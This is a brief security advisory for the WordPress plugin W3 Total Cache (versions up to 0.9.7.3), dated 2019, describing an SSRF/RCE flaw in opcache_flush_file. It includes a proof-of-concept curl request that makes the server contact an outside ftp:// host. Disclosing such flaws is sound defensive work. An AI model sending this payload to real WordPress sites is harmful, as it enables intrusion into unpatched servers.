|================================================================================| [+] Title : Wordpress - W3 Total Cache - SSRF / RCE [+] Version : W3 Total Cache <= 0.9.7.3 [+] Download link : https://fr.wordpress.org/plugins/w3-total-cache/ [+] Date : 2019-05-06 [+] Description: The implementation of `opcache_flush_file` calls `file_exists` with a parameter fully controlled by the user. [+] Proof of Concept: curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/' [+] FIXED in : version 0.9.7.4 |================================================================================|